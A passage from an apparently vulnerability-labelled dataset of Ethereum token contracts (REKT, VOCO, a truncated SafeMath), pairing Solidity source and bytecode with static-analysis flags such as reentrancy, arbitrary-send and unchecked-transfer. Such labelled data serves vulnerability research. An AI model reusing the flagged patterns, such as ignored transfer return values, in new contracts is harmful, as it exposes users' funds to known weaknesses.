{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,138 |
0x22DB56bFE6347BdfE4A8A45be5f18e0b10F5650d
|
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
// KYBER-NOTE! code changed to comply with ERC20 standard
event Transfer(address indexed _from, address indexed _to, uint _value);
//event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
// KYBER-NOTE! code changed to comply with ERC20 standard
event Approval(address indexed _owner, address indexed _spender, uint _value);
//event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
// KYBER-NOTE! code changed to comply with ERC20 standard
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
//balances[_from] = balances[_from].sub(_value); // this was removed
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract REKTTokenSale {
using SafeMath for uint;
address public admin;
address public REKTMultiSigWallet;
REKT public token;
bool public haltSale;
function REKTTokenSale( address _admin,
address _REKTMultiSigWallet,
REKT _token)
{
admin = _admin;
REKTMultiSigWallet = _REKTMultiSigWallet;
token = _token;
}
function setHaltSale( bool halt ) {
require( msg.sender == admin );
haltSale = halt;
}
function() payable {
buy( msg.sender );
}
event Buy( address _buyer, uint _tokens, uint _payedWei );
function buy( address recipient ) payable returns(uint){
require( ! haltSale );
// send payment to wallet
sendETHToMultiSig( msg.value );
uint receivedTokens = msg.value.mul( 1000 );
assert( token.transfer( recipient, receivedTokens ) );
Buy( recipient, receivedTokens, msg.value );
return msg.value;
}
function sendETHToMultiSig( uint value ) internal {
REKTMultiSigWallet.transfer( value );
}
// ETH balance is always expected to be 0.
// but in case something went wrong, we use this function to extract the eth.
function emergencyDrain(ERC20 anyToken) returns(bool){
require( msg.sender == admin );
if( this.balance > 0 ) {
sendETHToMultiSig( this.balance );
}
if( anyToken != address(0x0) ) {
assert( anyToken.transfer(REKTMultiSigWallet, anyToken.balanceOf(this)) );
}
return true;
}
}
contract REKT is StandardToken, Ownable {
string public constant name = "REKT";
string public constant symbol = "REKT";
uint public constant decimals = 18;
address public tokenSaleContract;
modifier validDestination( address to ) {
require(to != address(0x0));
require(to != address(this) );
_;
}
function REKT( uint tokenTotalAmount, address admin ) {
// Mint all tokens. Then disable minting forever.
balances[msg.sender] = tokenTotalAmount.div(2);
balances[admin] = tokenTotalAmount.div(2);
totalSupply = tokenTotalAmount;
Transfer(address(0x0), msg.sender, tokenTotalAmount);
tokenSaleContract = msg.sender;
transferOwnership(admin); // admin could drain tokens that were sent here by mistake
}
function transfer(address _to, uint _value)
validDestination(_to)
returns (bool) {
return super.transfer(_to, _value);
}
function setTokenSaleContract(address _tokenSaleContract) onlyOwner {
tokenSaleContract = _tokenSaleContract;
}
function transferFrom(address _from, address _to, uint _value)
validDestination(_to)
returns (bool) {
return super.transferFrom(_from, _to, _value);
}
event Burn(address indexed _burner, uint _value);
function burn(uint _value)
returns (bool){
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
Transfer(msg.sender, address(0x0), _value);
return true;
}
// save some gas by making only one contract call
function burnFrom(address _from, uint256 _value)
returns (bool) {
assert( transferFrom( _from, msg.sender, _value ) );
return burn(_value);
}
function emergencyERC20Drain( ERC20 token, uint amount ) onlyOwner {
token.transfer( owner, amount );
}
}
|
0x606060405236156100e35763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100e8578063095ea7b31461017357806318160ddd146101a957806323b872dd146101ce578063313ce5671461020a578063354d89ee1461022f57806342966c68146102505780635d5aa2771461027a57806370a08231146102a957806379cc6790146102da5780638da5cb5b1461031057806395d89b41146100e8578063a9059cbb146103ca578063db0e16f114610400578063dd62ed3e14610424578063f2fde38b1461045b575b600080fd5b34156100f357600080fd5b6100fb61047c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101385780820151818401525b60200161011f565b50505050905090810190601f1680156101655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017e57600080fd5b610195600160a060020a03600435166024356104b3565b604051901515815260200160405180910390f35b34156101b457600080fd5b6101bc61055a565b60405190815260200160405180910390f35b34156101d957600080fd5b610195600160a060020a0360043581169060243516604435610560565b604051901515815260200160405180910390f35b341561021557600080fd5b6101bc6105b0565b60405190815260200160405180910390f35b341561023a57600080fd5b61024e600160a060020a03600435166105b5565b005b341561025b57600080fd5b6101956004356105fd565b604051901515815260200160405180910390f35b341561028557600080fd5b61028d6106db565b604051600160a060020a03909116815260200160405180910390f35b34156102b457600080fd5b6101bc600160a060020a03600435166106ea565b60405190815260200160405180910390f35b34156102e557600080fd5b610195600160a060020a0360043516602435610709565b604051901515815260200160405180910390f35b341561031b57600080fd5b61028d610730565b604051600160a060020a03909116815260200160405180910390f35b34156100f357600080fd5b6100fb61047c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101385780820151818401525b60200161011f565b50505050905090810190601f1680156101655780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103d557600080fd5b610195600160a060020a0360043516602435610776565b604051901515815260200160405180910390f35b341561040b57600080fd5b61024e600160a060020a03600435166024356107c4565b005b341561042f57600080fd5b6101bc600160a060020a036004358116906024351661087c565b60405190815260200160405180910390f35b341561046657600080fd5b61024e600160a060020a03600435166108a9565b005b60408051908101604052600481527f52454b5400000000000000000000000000000000000000000000000000000000602082015281565b60008115806104e55750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156104f057600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b60005481565b600082600160a060020a038116151561057857600080fd5b30600160a060020a031681600160a060020a03161415151561059957600080fd5b6105a4858585610901565b91505b5b509392505050565b601281565b60035433600160a060020a039081169116146105d057600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a033316600090815260016020526040812054610626908363ffffffff610a1316565b600160a060020a03331660009081526001602052604081209190915554610653908363ffffffff610a1316565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2600033600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a35060015b919050565b600454600160a060020a031681565b600160a060020a0381166000908152600160205260409020545b919050565b6000610716833384610560565b151561071e57fe5b610727826105fd565b90505b92915050565b600354600160a060020a031681565b60408051908101604052600481527f52454b5400000000000000000000000000000000000000000000000000000000602082015281565b600082600160a060020a038116151561078e57600080fd5b30600160a060020a031681600160a060020a0316141515156107af57600080fd5b6107b98484610a2a565b91505b5b5092915050565b60035433600160a060020a039081169116146107df57600080fd5b600354600160a060020a038084169163a9059cbb9116836000604051602001526040517c010000000000000000000000000000000000000000000000000000000063ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561085b57600080fd5b6102c65a03f1151561086c57600080fd5b505050604051805150505b5b5050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a039081169116146108c457600080fd5b600160a060020a038116156105f9576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600160a060020a038084166000818152600260209081526040808320339095168352938152838220549282526001905291822054610945908463ffffffff610a1316565b600160a060020a03808716600090815260016020526040808220939093559086168152205461097a908463ffffffff610aea16565b600160a060020a0385166000908152600160205260409020556109a3818463ffffffff610a1316565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b600082821115610a1f57fe5b508082035b92915050565b600160a060020a033316600090815260016020526040812054610a53908363ffffffff610a1316565b600160a060020a033381166000908152600160205260408082209390935590851681522054610a88908363ffffffff610aea16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600082820183811015610af957fe5b8091505b5092915050565b6000808284811515610b1257fe5b0490508091505b50929150505600a165627a7a72305820759cdc38811dc3c18ce42a3696c25b62dead726a1b016defff8b3519ca705e250029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 6,139 |
0x132a108831f3da35338b5e7e76d6fbddfbff39e6
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Version of ERC20 interface
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title VOCOToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract VOCOToken is StandardToken {
string public constant name = "VOCO Token";
string public constant symbol = "VOCT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
function VOCOToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014d57806318160ddd146101a757806323b872dd146101d05780632ff2e9dc14610249578063313ce5671461027257806366188463146102a157806370a08231146102fb57806395d89b4114610348578063a9059cbb146103d6578063d73dd62314610430578063dd62ed3e1461048a575b600080fd5b34156100ca57600080fd5b6100d26104f6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101125780820151818401526020810190506100f7565b50505050905090810190601f16801561013f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015857600080fd5b61018d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061052f565b604051808215151515815260200191505060405180910390f35b34156101b257600080fd5b6101ba610621565b6040518082815260200191505060405180910390f35b34156101db57600080fd5b61022f600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061062b565b604051808215151515815260200191505060405180910390f35b341561025457600080fd5b61025c6109e5565b6040518082815260200191505060405180910390f35b341561027d57600080fd5b6102856109f6565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ac57600080fd5b6102e1600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506109fb565b604051808215151515815260200191505060405180910390f35b341561030657600080fd5b610332600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c8c565b6040518082815260200191505060405180910390f35b341561035357600080fd5b61035b610cd4565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561039b578082015181840152602081019050610380565b50505050905090810190601f1680156103c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156103e157600080fd5b610416600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d0d565b604051808215151515815260200191505060405180910390f35b341561043b57600080fd5b610470600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f2c565b604051808215151515815260200191505060405180910390f35b341561049557600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611128565b6040518082815260200191505060405180910390f35b6040805190810160405280600a81526020017f564f434f20546f6b656e0000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561066857600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106b557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561074057600080fd5b610791826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610824826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f582600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610b0c576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba0565b610b1f83826111af90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f564f43540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d4a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610d9757600080fd5b610de8826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111af90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000610fbd82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156111bd57fe5b818303905092915050565b60008082840190508381101515156111dc57fe5b80915050929150505600a165627a7a7230582029f188ab3484a843f6b1d1d8f63fb55a2a4ca5fb29d168c6a9f57baa498b11870029
|
{"success": true, "error": null, "results": {}}
| 6,140 |
0x990a39B980e88b53348Cbe7144288A9eafeD351B
|
// SPDX-License-Identifier: MIT
pragma solidity =0.6.12;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
